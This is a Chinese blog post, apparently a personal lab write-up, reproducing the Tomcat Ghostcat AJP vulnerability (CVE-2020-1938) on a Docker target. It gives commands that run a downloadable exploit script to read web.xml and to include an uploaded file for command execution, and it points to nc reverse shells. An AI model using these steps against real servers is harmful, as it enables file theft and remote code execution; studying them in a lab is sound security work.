CVE-2020-1938 Tomcat 文件读取&文件包含漏洞复现(幽灵猫)

**************************************
按安排今天应该继续学习 Http Leak Attacak的
但是今天可能是星期天老师没有更新课程
白天也在外面农家乐玩(疫情期间好久没出门了)
晚上回来感觉空虚虚的,就想起来这个漏洞还没复现过
那么接下来我就来讲一下CVE-2020-1938的复现吧
**************************************
本文需要liunx、docker、python、tomcat基础
如果没有基础的建议:
tomcat安装在windows虚拟机上,自己搭建一个windows靶机
其次在后面的txt文件中吧whoami改成windows的dos命令

**************************************
攻击脚本百度云(运行环境python2)
链接:https://pan.baidu.com/s/1BTJQE3SwCsCcso_27tpXdQ
提取码:z651

漏洞简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件。
CVE-2020-1938 : Tomcat-Ajp 协议漏洞分析:https://www.anquanke.com/post/id/199448?from=singlemessage

漏洞影响范围包括

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

靶机搭建

docker环境


docker search tomcat-8.5.32
docker pull duonghuuphuc/tomcat-8.5.32
docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat duonghuuphuc/tomcat-8.5.32
docker port ghostcat

运行完上面代码得到的结果:

在物理机上访问虚拟机ip地址:8080 显示tomcat界面就说明docker容器运行成功

文件读取漏洞攻击

下载好提前准备好的攻击脚本
然后在cmd环境里面执行一下代码


python Tomcat-ROOT路径下文件读取(CVE-2020-1938).py -p 8009 -f "/WEB-INF/web.xml" 192.168.138.139
/*命令解读
  由于我电脑使用的workon虚拟环境已经切换到了python2
  如果没有切换到python2环境 请把开头的python 改成 python2
  -p  端口 漏洞的端口默认是8009
  -f  访问的文件地址
*/

执行结果:成功访问web根目录的敏感文件web.xml

文件包含漏洞攻击

文件包含漏洞需要目标存在上传功能,上传txt进行包含攻击;(这里由于是测试环境,就创建一个txt文件到根目录假装上传;实际情况的话需要知道上传文件的路径)
这里上传的txt文件为”1.txt“

这里由于我们使用的是docker虚拟环境,所以我们不能用Xftp 上传文件
我创建文件的命令:


sudo docker ps -a
sudo docker exec -it 容器的ID /bin/bash
cd webapps/ROOT
touch 1.txt
echo 'txt文件里面的源码,把所有回车删除粘贴为一段' > 1.txt


直接访问的效果

cmd运行包含漏洞的脚本:


python Tomcat-ROOT路径下文件包含(CVE-2020-1938).py -p 8009 -f "/WEB-INF/web.xml" 192.168.138.139
/*
   语句参数和上面的一样
   其中root 就是 txt里面的 whoami 命令返回的结果
*/

+++++++++++++++++++++

在文件包含漏洞里面,我们可以使用nc等工具
其中windows命令行反弹shell参考文章:https://www.jianshu.com/p/1a9ff74fee48
+++++++++++++++++++++

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注